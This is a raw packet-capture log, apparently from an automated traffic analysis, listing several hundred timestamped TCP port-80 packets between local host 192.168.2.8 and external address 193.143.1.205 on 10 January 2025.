Jan 10, 2025 23:04:21.821885109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.821950912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.821953058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.821964025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.822005987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.822179079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.822191954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.822206020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.822244883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.822247028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.822261095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.822294950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.840163946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.862101078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.862149000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.862160921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.862174034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.862207890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.862238884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.862251997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.862291098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.897247076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897263050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897341013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897352934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897366047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897382021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.897384882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897399902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897407055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.897413015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897427082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897437096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.897464037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.897531033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897567987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897579908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897583008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.897593021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.897644043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.898149967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.898171902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.898195028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.898381948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.898394108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.898406982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.898437977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.898468018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.932570934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932586908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932607889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932624102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932637930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932662964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.932707071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.932737112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932779074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932794094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.932833910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932868004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932877064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.932882071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.932924032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.933080912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933156967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933173895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933212042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.933242083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933255911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933268070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933285952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.933309078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.933336973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933605909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933629990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933650017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.933698893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933759928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933760881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.933773041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933795929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.933826923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.933967113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934010983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.934010983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934024096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934057951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.934082031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934094906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934130907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.934437990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934448957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934461117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934484005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.934520960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934533119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934542894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934556961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934580088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.934609890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.934645891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.934741020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934752941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934765100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934777021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.934786081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.934827089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.935353041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935364008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935374975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935404062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.935424089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.935452938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935466051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935475111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935489893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935497999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.935530901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.935682058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935697079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935707092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935719967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.935735941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.935759068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.936274052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936285973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936297894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936323881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.936415911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936428070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936439991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936453104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936455011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.936477900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.936563969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936575890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936606884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.936623096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936635017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.936666965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.937244892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937256098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937267065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937302113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.937314034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.937342882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937354088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937365055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937376976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937403917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.937439919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.937515020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937527895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937540054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937552929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.937562943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.937611103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.938152075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938163042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938174009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938208103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.938255072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938266993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938277960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938290119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938309908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.938340902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.938397884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938410044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938421965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938435078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.938447952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.938466072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.939044952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.939079046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.939091921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.939095020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.939132929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.947458982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.952579021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952604055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952615023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952626944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952661991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952675104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952704906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.952749968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.952754974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952766895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952776909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952831030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.952851057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952862024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952873945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952887058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952898979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.952935934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.952977896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.952991009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.953022003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.953051090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.953063965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.953099012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.978280067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.987735033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.987776995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.987788916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.987812042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.987826109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.987855911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.987900019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.987982035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.987996101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988010883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988027096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988058090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.988074064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988087893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988091946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.988102913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988118887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988132954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.988181114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:21.988207102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988219976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:21.988279104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037045002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037065983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037092924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037106991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037118912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037130117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037137032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037143946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037185907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037201881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037214994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037245035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037281990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037292957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037305117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037322044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037343979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037355900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037369013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037409067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037456989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037468910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037475109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037481070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037492990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037534952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037659883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037672043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037683010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037703991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037728071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037792921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037805080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037816048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037836075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037939072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037950993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037961006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037971973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037981033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.037983894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.037990093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038011074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038043976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038078070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038090944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038100958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038114071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038122892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038141012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038156986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038168907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038178921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038189888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038202047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038206100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038239002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038561106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038573027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038583040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038594961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038606882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038613081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038620949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038634062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038635015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038647890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038659096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038697958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038808107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038820028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038831949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038841963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.038861990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.038887024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042316914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042335033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042349100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042361975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042376041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042386055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042391062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042399883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042399883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042413950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042428017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042434931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042440891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042455912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042465925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042479038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042488098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042490005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042505026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042515039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042516947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042536020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042556047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042557955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042571068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042578936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042583942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042597055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042609930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042610884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042623043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042642117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042648077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042656898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042670012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042695999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042752981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042767048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042778969 CET	80	49704	193.143.1.205	192.168.2.8
